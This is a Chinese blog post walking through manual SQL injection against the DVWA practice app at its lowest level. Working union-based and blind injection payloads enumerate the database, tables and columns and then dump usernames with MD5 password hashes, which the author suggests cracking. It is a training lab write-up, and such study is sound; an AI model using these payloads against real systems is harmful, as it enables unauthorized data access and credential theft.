SQL 手动注入学习实战 —— dvwa 从low到impossible《low篇》

概念相关

在PHP中动态构造SQL语句的语言是<最简单,最耿直>

query="SELECTFROMusersWHEREusername=". _GET[“name”];

通过控制name参数,修改执行的SQL语句,可以达到攻击的目的。

SQL语法相关首先你要对php语法有了解,然后再去搞这个

SELECT 列名 FROM 表名
用 * 取代列名就是选取所有列
WHRER 子句 通过有条件的从表中选取数据,可以将 WHRER 子句添加到SELECTSELECT * from 表名 WHRER 列 运算符 值

手工注入篇

步骤一,判断注入点
逻辑推理测试法
  • 首先我们需要了解数据通过什么方式输入,大概有以下三种
    • GET请求,在URL中发送参数
    • POST请求:数据包含在请求体中
    • 其他注入: HTTP请求的其他内容也会出发SQL注入漏洞
  • 别忘了用你的winshark或者bripsuite,通过抓包,你一定可以得到更加详细的注入信息。

我们用 DVWA为例,一步步提高难度,先调整到low难度,然后我们提交了一个1

GET /DVWA/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1

这个就是非常常见的GET方法了
此时,sql语句就变成了

select * from users where id = 1

确实是一句没有任何问题的语句。但是如果加了’呢?那就会报错了。
因为mysql_query()函数会返回一个布尔值,在下行代码中mysql_fetch_array($sql)将执行失败,并且PHP会显示一条警告信息,告诉我们mysql_fetch_array()的第一个参数必须是个资源,而代码在实际运行中,给出的参数值却是一个布尔值。

and or 方法

如果页面不返回任何错误信息,我们就要用这种方法。 在参数后面加上 and 1=1 和and 1=2 来找不同。因为第一个条件是为真的,第二个条件是假的。
然后我们看看会不会返回错误结果。

加减法

有些愚蠢的管理员会把获取ID写成数字型,那么我们的’大法就起不了效果了。
我们可以输入 1+1 (加号用%2b代替)来看看是不是返回id =2的结果。

综合与应用

判断注入是字符型或者数字型

往框框里输入

  1. 1
  2. 1’ and 1=1 #
  3. 1’ and 1=2 # 显示不存在;找到注入点,发现是字符型SQL盲注入
    TIPS:高级点,我们要把 #换成 %24,把空格换成/**/。当然还有很多替换法不一一说明,毕竟这是low级别
步骤二 oder by 和union select 爆破当前库名

补充: low的服务器核心代码(部分) <盲注>
我感觉CTF中不可能把错误代码打出来

// Get input 
    $id = $_GET[ 'id' ]; 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 

<先说最愚蠢的枚举二分法>
- 先枚举法

1’ and length(database())=1 #
然后一个个试过去,发现4 显示存在找到。

  • 后ASCII二分法
    1’ and ascii(substr(database(),1,1))>97 #
    一个个找,然后就能够猜出完整的库名 dvwa

TIPS:substr PHP的字符串查找函数 substr(string,start,length)
string -不用说了 start 当前字符串位置(这里的话就要1,2,3,4一个个枚举过去>了),length的话正数是 从start位置返回,负数的话是从字符串结尾返回。


再说说一些正常注入的方法,不过盲注用不了的。因为它不打印错误信息啊

找到注入点之后,我们用
1’ order by 《num》# 来查找在表中的列数
在low等级中
1’ order by 2# 可行,到了3就输出错误信息了。所以最大是2列
//这个信息肥肠重要

之后我们用select union 的方法,来查找关键信息。
灰常好用的函数:

  • version()
  • user()
  • database()
  • @@version_complie_os

    好了,现在输入
    1’ union select database(),2#
    就可以得到我们之前,千辛万苦找到的dvwa数据库了。

TIPS:注意,union select 的时候一定要把它的参数位置填满,可以用数字填满
也可以用函数填满,别傻乎乎的就写一个version()还报错了

步骤三 爆破当前表名

内容感谢这个作者,这是我看到的一篇盲注写的很不错的作者
首先猜测表的数量
输入
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=1 #
然后挨个试,发现《替换=1中的1为1,2,3,4,5,…》2 可行。
接下来猜表名
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #
替换=1中的1为1,2,3,4,5,…发现9可行。
所以长度是9
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #
又到了ASCII二分环节,然后找到了第一个表名 gusetbook
之后把limit 后面的那个1换成2 ,再来一遍,找到第二个表名 users
我的妈,CTF一道盲注题手工要做多久


应用information_schema的数据库,只支持MYSQL,能够帮我们快速爆破表名

首先我们复习一下语法

SELECT 列名 FROM 表名
用 * 取代列名就是选取所有列
WHRER 子句 通过有条件的从表中选取数据,可以将 WHRER 子句添加到SELECTSELECT * from 表名 WHRER 列 运算符 值

输入
1’ union select database()# 刚刚做过了啦~
输入
1’ union select table_name,2 from information_schema.tables where table_schema=’dvwa’#
截获信息

ID: 1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#
First name: admin
Surname: admin

ID: 1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#
First name: guestbook
Surname: 2

ID: 1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#
First name: users
Surname: 2

我的妈,我盲注半小时,普通一分钟

步骤四 爆破当前字段

首先猜解表中字段的数量
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 #
一个个试,发现8存在
接着挨个猜解字段名
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 #
一个个试发现有7个字符串长度。
后面作者就没写了,讲道理这个盲注真是看得晕头转向。
之后补上。


《这里拿user举例子》
1’ union select column_name,2 from information_schema.columns where table_name=’users’#

哇因缺思厅!

ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: admin
Surname: admin

ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: user_id
Surname: 2

ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: first_name
Surname: 2

ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: last_name
Surname: 2

ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: user
Surname: 2

ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: password
Surname: 2

ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: avatar
Surname: 2

ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: last_login
Surname: 2

ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: failed_login
Surname: 2

ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: CURRENT_CONNECTIONS
Surname: 2

ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: TOTAL_CONNECTIONS
Surname: 2
获取密码

盲注。之后更新。。。

普通注入语句
输入:
1’ union select user,password from users#

ID: 1' union select user,password from users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' union select user,password from users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' union select user,password from users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' union select user,password from users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' union select user,password from users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

好了到手了。接着就MD5解密,或者交给你做A类的同学吧。

普通注入,总结与相关

  1. 步骤1 寻找注入点 关键词 字符注入点,宽字节注入点,数字注入点
  2. 步骤2 爆破当前数据库名
    • 关键词 order by ,select union database()
  3. 步骤3 爆破当前表名
    • 关键词 union select table_name,2,3,4,5 from information_schema tables where table_scheme=’ 库名’#
  4. 步骤4 爆破当前字段名
    • 关键词 union select column_name,2,3,4,5 from information_schema.columns where table_name=’表名’#
  5. 步骤5 数据解析
    • 关键词 解密算法

关于其他的注入方法,会在之后的难度中补充。
盲注之后还会再写,自己还没有搞清楚。


2018年1月10日00:10:31

烧包包儿

  • 4
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值